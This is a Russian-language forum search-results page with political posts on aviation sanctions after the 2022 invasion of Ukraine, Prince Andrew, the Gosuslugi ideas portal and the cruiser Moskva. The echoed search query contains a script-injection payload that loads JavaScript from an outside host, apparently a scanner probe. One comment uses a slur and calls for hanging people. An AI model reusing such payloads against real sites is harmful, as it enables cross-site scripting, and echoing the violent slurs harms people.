Результаты поиска по запросу «
</title><Script e=">" src="https://wapiti3.ovh/wsdig9i0t5z.js"></Script>
»
Вторжение в Украину 2022 санкции авиация РФ авиация авиаперевозки политика
это репост текста от френда в ЖЖ. Вот что он пишет о себе:
"Авиатехник Cat. B1.Учился на вертолёты Ми-8, Ми-8МТВ, Ми-2. Недолго работал на Ту-154.По работе много занимался линейными и базовыми формами технического обслуживания на самолётах семейств Airbus-320 и Boeing-737.По зову технической музы иногда публикую материалы просветительской направленности про конструкцию самолётов и их техническое обслуживание (ТО)."
текст:
"Прощай, жизнь человека
Пока старый мудак убивает людей, расскажу вам про эту нашу авияцию.
Российские войска застряли в Украине и несут большие потери. РФ врёт, что это не так, и отказывается вывозить тела. Сайт 200rf.com со сведениями о погибших, раненых и пленных россиянах заблокирован роскомпозором.
1. Запрет на полёты.
Европа ввела запрет на полёты российских авиакомпаний. Почти все страны. Наши долбоёбы привычно шмальнули себе в ногу, запретив полёты европейских компаний в РФ. В итоге, железный занавес опустился почти до днища. Летать ещё можно через Турцию и не присоединившиеся к санкциям страны. Туркиши подсуетились, и пустили большие самолёты. Видимо, основной поток пошёл через них.
В связи с запретом рейс в банальный Калград сейчас выглядит так:
2. Обслуживание.
Запрет Европой обслуживания российских авиакомпаний вводится с 29 марта. То есть, именно мой личный пздц откладывается. Почему-то ЕС решил не убить всех сразу, а дать ещё немного дыхнуть. Может, в надежде, что за месяц наш мудак образумится.
Наша компания — иностранная. И потому должна прекратить ТО.
Её часть, созданная для обслуживания российской техники, и имеющая российскую авторизацию, будет добавлять к своему российскому сертификату новые типы техники — импортные. Также этой российской части понадобится получать у некоторых иностранных авиационных властей авторизацию на обслуживание самолётов их авиакомпаний. Это стоит десятки тысяч долларов. Которых у нас нету.
До 28 марта авиакомпании будут решать, кто будет их обслуживать. Выбирать они будут из тех провайдеров ТО, кто это делает не под европейскими властями. Например, у Nord Wind хозяева — турки, и пока Турция не вводит санкции, NW вполне отхватят нехилый кусман рынка ТО. А может, и перевозок.
Ы7 рассчитывает нехило заработать на больших формах ТО, которые теперь будут делать не в ЕС, а в РФ. У них есть возможности в МСК и МинВодах. Туда запрошены дополнительные люди.
Также закрыт онлайн-доступ к документации по ТО Эйрбаса и Боинга. С Боингами пока ещё возможно работать по PDF-версии документации, и для Эйрбаса остаются оффлайновые версии. Но вообще, доступ к инжиниринговой информации — это важно. Кроме того, если не санкции не ослабят, то не будет очередного обновления документации. А эйрбасная оффлайновая система может отказаться работать со старыми базами данных. Если так, то ей осталось два месяца.
3. Запчасти.
Абсолютное большинство самолётов в России — импортные. Запчасти и расходники — ещё более импортные.
ЕС запретил поставки запчастей российским компаниям. Боинг — тоже.
Если действительно перекроют поставки, это будет пздц всей российской авиации. Вряд ли удастся нормально привозить их из Азии. Особенно учитывая, что азиаты тоже могут подпасть под запрет экспорта. Ремонтировать электронику в РФ за 20 лет так и не научились. Всё ремонтировалось за границей — в основном, в Европе. В РФ ремонтировались лишь простейшие кипятильники для воды и печки для еды. Разумеется, импортными запчастями.
Авиакомпании шантажируют европейских собственников запчастей, которые держат тут склады, невозвратом этих запчастей. Типа — разрыв договора по вашей инициативе, и компенсируйте стоимость; иначе не отдадим вам назад запчасти. Понятно, что такое поведение отразится на доверии и взаимодействиях с европейскими компаниями. Либо запчасти будут поставлять только после предоплаты, либо вообще ПНХ. Как отсутствие оперативного склада запчастей в РФ отразится на обслуживании, стоимости, исправности и регулярности полётов, можете подумать сами.
4. Авиакомпании.
Срочно переводят самолёты в российскую регистрацию. Что будет с лизинговыми самолётами, пока неясно. Решать будут лизингодатели, но велика вероятность отзыва их из России. Наши мудаки мечтают не отдавать. Разумеется, это ещё больше ударит по репутации РФ, и впредь никто не будет верить. Только деньги вперёд, включая боольшую премию за риск. Это всё отразится на стоимости билетов. Полёты, и так недоступные большинству россиян, станут просто невозможными для всех из-за рухнувшего платёжеспособного спроса, и громадных издержек авиакомпаний.
5. Помощь государства.
Её привычно нету. Может быть, Аэрофлоту помогут выкупить какие-то самолёты. Остальные смогут пососать их большой чёрный хуй.
6. Импортозамещение.
О! У нас же есть СуперЖесть, VC-21, и тысяча авиазаводов!
Но нет. Единицы вручную собранных опытных самолётов не превращаются в сотни серийных просто по желанию. Все производства развалены. Заводы не способны производить. Нет технологий. Нет кадров (готовить — не менее пяти лет). Оборудование и материалы никто не продаст.
С мечтой о суверенном флоте лучше попрощаться сразу. В лучшем случае какое-то время полетает эта сотня СуперЖестей, которую наклепали за десять лет. Но учитывая, что в них тоже бОльшая часть импортная... ну, вы поняли насчёт запчастей. Шины — и те импортные.
7. Настроения.
А народ радуется. Вопрос про убийства людей их не ставит в тупик. Они это одобряют.
Им зарплату теперь вообще неизвестно когда покажут. Но оптимизм неимоверный. «Нас вынудили» — хит сезона. Ещё «сейчас гейропейцы попыхтят, и соснут, никуда не денутся».
Похоже, дебилизор заменил людям мораль и способность думать.
8. Что всё это значит.
В современном мире никто сейчас не может выжить в одиночку, в изоляции. Ни одна страна.
Полётов больше не будет. Но вам всё равно будет не до них.
Учитывая блокировку валютных резервов, возможный отказ от российского нефтегаза и блокировку расчётов, стоит ждать громадной инфляции и исчезновения товаров.
К этому добавится безработица — когда экономика валится, у вас просто не будет работы.
Войну в Украине проиграет РФ. Никто не может выиграть войну против народа на его территории, особенно когда полным ходом идёт ленд-лиз и поставки оружия от всего Запада. Уже прибывают и западные добровольцы.
Бункерный мудак приведёт РФ даже не в 1990-е, которыми он пугает лохторат, а ещё ниже, в самое днище. Каждый день его пребывания у власти — это смерти людей, одичание и обнищание. Чего достигает он своими преступлениями, понятно — оттягивает неизбежный теперь конец. Но я никогда не пойму, ради чего нормальные ранее люди оказались согласны положить свою жизнь, и будущее своих детей. Это какое-то массовое помешательство.
Слава Украине, и успехов ей в отражении российской агрессии."
Великобритания принц Эндрю политика
«С одобрения и согласия королевы воинские звания и королевские патронажи герцога Йоркского будут возвращены королеве. Герцог Йоркский по-прежнему не будет представлять королевскую семью на публичных мероприятиях и продолжит защищать себя в суде как частный гражданин»,— говорится в заявлении Букингемского дворца.
Решение принято в связи с судебным разбирательством в США, в рамках которого принц Эндрю обвиняется в принуждении к сексу американки Вирджинии Робертс-Джуффре в период с 2000 по 2002 год, которая на тот момент была несовершеннолетней.
С просьбой к королеве лишить принца Эндрю всех воинских званий выступили около 150 ветеранов, сообщает The Guardian, после того как суд в США накануне отклонил апелляцию принца Эндрю, пытавшегося избежать судебного разбирательства.
По данным газеты, принц также лишится права пользоваться обращением «его королевское высочество».
Война в Украине госуслуги все очень плохо все ебанулись развитие Россия политика
«Госуслуги» призвали пользователей поделиться «идеями для развития России». Предложение остановить войну отклонили как «неконструктивное»
Портал «Госуслуги» разослал пользователям письма с рассказом о форуме «Сильные идеи для нового времени», на платформе которого «каждый может представить идею, общественно значимую инициативу или проект и внести личный вклад в развитие страны».
Журналистка «Верстки» Маргарита Логинова отправила такие предложения: остановить войну в Украине, провести честные выборы, вернуть свободу СМИ и выпустить из тюрем политических заключенных. Она указала, что благодаря этому «отток населения из малых городов прекратится, благосостояние граждан вырастет и люди станут больше рожать». Предложение Логиновой провисело на платформе около 15 минут и, как пишет журналистка, собрало 15 «плюсиков в поддержку». Но затем его убрали из доступа.
Техподдержка платформы «Сильные идеи для нового времени» ответила Логиновой, что идею «Остановите войну с Украиной» пришлось «изъять из публичного поля», поскольку она «носит острополитический характер и провоцирует развитие неконструктивных дискуссий».
Остальные предложения, следует из поста Логиновой, возражений не вызвали.
Отличный комментарий!
А перевешать путинских пидорасов на столбах считается идеей развития России?
Sgt. RokkenRoll17.05.202317:02ссылкапесочница политоты крейсер москва спутник Вторжение в Украину 2022 ракетный крейсер "Москва" политика
По данным Naval News:
Есть спутниковый радарный снимок методом РСА, который запечатлел спасательную операцию с идущим нахуй русским военным кораблем.
Спасательная операция таки проводилась. 4-6 плавсредств кроме крейсера есть на снимке. Из них 1-3 в непосредственной близости. Их принадлежность и тип из снимка неясны.
Снимок сделан в 18:52 по местному времени. То есть прилетело им не ночью, а вечером.
Есть точные координаты происшествия: 45°10’43.39″N, 30°55’30.54″E
Это на восток от Змеиного, 80 миль от Одессы, 50 от ближайших берегов Украины.
Апдейт из этой же статьи по флоту рф:
Вчера, 15 Апреля около 18:30 по местному времени, две группы кораблей вышли из севастопольской бухты на северо-запад. Предположительно десантные корабли в составе. Видимо просят добавки.
Железный феликс Дзержинский советский союз политика
И вновь продолжается бой
Бронзовая скульптура создателя и первого руководителя отечественных органов госбезопасности Феликса Дзержинского вновь установлена в Москве.
Церемония открытия памятника на территории штаб-квартиры СВР в Ясенево состоялась в понедельник, в день рождения "чекиста номер один".
Памятник представляет собой немного уменьшенную копию монумента, в 1958-1991 годах располагавшегося в центре Москвы напротив комплекса зданий КГБ СССР.
песочница политоты политика
Не пугайтесь, это всего лишь «миссис Россия 2023» Наташа Оскар.
Отличный комментарий!